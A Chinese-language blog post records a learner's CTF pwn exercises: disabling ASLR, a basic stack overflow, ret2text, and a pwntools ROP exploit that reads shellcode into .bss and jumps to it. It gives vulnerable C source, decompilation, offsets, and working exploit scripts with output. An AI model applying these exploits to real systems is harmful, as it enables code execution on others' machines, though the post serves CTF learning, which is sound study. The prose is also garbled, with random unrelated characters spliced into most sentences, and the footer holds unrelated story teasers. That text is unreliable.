pwn真的入門了

終于沉下心來(lái)好好的把ctf-wiki上的pwn部分看了一下(當(dāng)然菜雞的我海之看懂了棧)

首先需要補(bǔ)充一下aslr

我們可以通過(guò)修改 /proc/sys/kernel/randomize_va_space 來(lái)控制 ASLR 啟動(dòng)與否提完,具體的選項(xiàng)有
0形纺,關(guān)閉 ASLR,沒有隨機(jī)化徒欣。棧逐样、堆、.so 的基地址每次都相同打肝。
1官研,普通的 ASLR。棿扯茫基地址戏羽、mmap 基地址、.so 加載基地址都將被隨機(jī)化楼吃,但是堆基地址沒有隨機(jī)化始花。
2,增強(qiáng)的 ASLR孩锡,在 1 的基礎(chǔ)上酷宵,增加了堆基地址隨機(jī)化。
我們可以使用echo 0 > /proc/sys/kernel/randomize_va_space關(guān)閉 Linux 系統(tǒng)的 ASLR躬窜,類似的浇垦,也可以配置相應(yīng)的參數(shù)。

棧溢出原理

最基本的棧溢出原理無(wú)非就是通過(guò)控制輸入荣挨, 填充男韧, 覆蓋掉ebp, 同時(shí)重寫返回地址

比如:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

當(dāng)然我是把很多模式都關(guān)掉了

 % checksec stack_example
[*] '/home/abc/Desktop/pwn/example/stack_example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

使用 -fno-stack-protector-no-pie關(guān)閉canaryPIE

IDA拖進(jìn)去之后主要是看vulnerable函數(shù)

int vulnerable()
{
  char s; // [sp+4h] [bp-14h]@1

  gets(&s);
  return puts(&s);
}

可以知道s距離 ebp為0x14h個(gè)字節(jié)

直接沖掉默垄, 同時(shí)把返回地址變成我們想要的

.text:08048456 success         proc near
.text:08048456
.text:08048456 var_4           = dword ptr -4
.text:08048456
.text:08048456                 push    ebp
.text:08048457                 mov     ebp, esp
.text:08048459                 push    ebx
.text:0804845A                 sub     esp, 4
.text:0804845D                 call    __x86_get_pc_thunk_ax
.text:08048462                 add     eax, 1B9Eh
.text:08048467                 sub     esp, 0Ch
.text:0804846A                 lea     edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it."
.text:08048470                 push    edx             ; s
.text:08048471                 mov     ebx, eax
.text:08048473                 call    _puts
.text:08048478                 add     esp, 10h
.text:0804847B                 nop
.text:0804847C                 mov     ebx, [ebp+var_4]
.text:0804847F                 leave
.text:08048480                 retn
.text:08048480 success         endp

返回地址需要變成 0x08048456

然后寫exp

from pwn import *

context.binary = './stack_example'
if args['DEBUG']:
    context.log_level = 'debug'


#context.log_level = 'debug'

p = process('./stack_example')

payload = 'a'*0x14+'bbbb'

payload += p32(0x08048456)

p.sendline(payload)

p.interactive()

結(jié)果:

 % python exp.py
[*] '/home/abc/Desktop/pwn/example/stack_example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './stack_example': pid 48512
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbV\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$ whoami
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512)
[*] Got EOF while sending in interactive

ret2text

IDA拖進(jìn)去之后看main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

顯然是通過(guò)gets()函數(shù)來(lái)達(dá)到目的

注意到其中還有一個(gè)secure函數(shù)

void secure()
{
  unsigned int v0; // eax@1
  int input; // [sp+18h] [bp-10h]@1
  int secretcode; // [sp+1Ch] [bp-Ch]@1

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf((const char *)&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");
}

通過(guò)這個(gè)函數(shù)可以獲得一個(gè)shell

但是似乎好像我沒成功此虑??

先使用cycli生成一堆字符串

 % cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

然后gdb啟動(dòng)

得到

Invalid address 0x62616164

之后

cyclic -l 0x62616164

得到偏移 為 112

之后寫腳本

 % cat exp.py
from pwn import *
proc = './ret2text'
p = process(proc)
p.sendafter('?', 'a'*112+p32(0x080485FD))
p.interactive()

但是我好像沒有成功口锭。朦前。

 % python exp.py
[+] Starting local process './ret2text': pid 54723
[*] Switching to interactive mode

$

static

之后再看一下君莫笑師傅的題目
源碼如下:

#include <stdio.h>
#include <unistd.h>

void init(){
    setvbuf(stdout, NULL, _IOLBF, 0);
}

void welcome(){
    write(1, "Welcome to zsctf!\n", 21);
}

void vuln(){
    char buffer[8] = {0};
    read(0, buffer, 0x40);
}

int main(){
    init();
    welcome();
    vuln();
    return 0;
}

查看一下報(bào)護(hù)

 % checksec static
[*] '/home/abc/Desktop/pwnEaxmple/static/static'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

同樣的:
得到

Invalid address 0x61616166

計(jì)算出偏移地址

 % cyclic -l 0x61616166
20

最后看下exp

 % cat exp.py
from pwn import *
import time
proc = './static'
bss_addr = 0x0804A024

context.binary = proc
shellcode = asm(shellcraft.sh())

p = process(proc)

rop = ROP(proc)

rop.read(0, bss_addr+100, len(shellcode))
rop.call(bss_addr+100)

p.recvuntil("Welcome to zsctf!")

p.send('a'*20+str(rop))
time.sleep(1)

p.send(shellcode)

p.interactive()

需要注意的是 其實(shí) proc是一個(gè)pwn內(nèi)置的一個(gè)模塊了

In [1]: from pwn import *

In [2]: proc
Out[2]: <module 'pwnlib.util.proc' from '/usr/local/lib/python2.7/dist-packages/pwnlib/util/proc.pyc'>

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市鹃操,隨后出現(xiàn)的幾起案子韭寸,更是在濱河造成了極大的恐慌,老刑警劉巖荆隘,帶你破解...
    沈念sama閱讀 216,372評(píng)論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件揭糕,死亡現(xiàn)場(chǎng)離奇詭異棘劣,居然都是意外死亡马僻,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門癞尚,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)耸三,“玉大人乱陡,你說(shuō)我怎么就攤上這事∫亲常” “怎么了憨颠?”我有些...
    開封第一講書人閱讀 162,415評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)积锅。 經(jīng)常有香客問(wèn)我爽彤,道長(zhǎng),這世上最難降的妖魔是什么缚陷? 我笑而不...
    開封第一講書人閱讀 58,157評(píng)論 1 292
  • 正文 為了忘掉前任适篙,我火速辦了婚禮,結(jié)果婚禮上箫爷,老公的妹妹穿的比我還像新娘嚷节。我一直安慰自己,他們只是感情好虎锚,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評(píng)論 6 388
  • 文/花漫 我一把揭開白布硫痰。 她就那樣靜靜地躺著,像睡著了一般窜护。 火紅的嫁衣襯著肌膚如雪效斑。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,125評(píng)論 1 297
  • 那天柱徙,我揣著相機(jī)與錄音缓屠,去河邊找鬼。 笑死护侮,一個(gè)胖子當(dāng)著我的面吹牛藏研,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播概行,決...
    沈念sama閱讀 40,028評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼蠢挡,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了凳忙?” 一聲冷哼從身側(cè)響起业踏,我...
    開封第一講書人閱讀 38,887評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎涧卵,沒想到半個(gè)月后勤家,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,310評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡柳恐,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評(píng)論 2 332
  • 正文 我和宋清朗相戀三年伐脖,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了热幔。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,690評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡讼庇,死狀恐怖绎巨,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情蠕啄,我是刑警寧澤场勤,帶...
    沈念sama閱讀 35,411評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站歼跟,受9級(jí)特大地震影響和媳,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜哈街,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評(píng)論 3 325
  • 文/蒙蒙 一留瞳、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧骚秦,春花似錦她倘、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至蒙揣,卻和暖如春靶溜,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背懒震。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評(píng)論 1 268
  • 我被黑心中介騙來(lái)泰國(guó)打工罩息, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人个扰。 一個(gè)月前我還...
    沈念sama閱讀 47,693評(píng)論 2 368
  • 正文 我出身青樓瓷炮,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親递宅。 傳聞我的和親對(duì)象是個(gè)殘疾皇子娘香,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容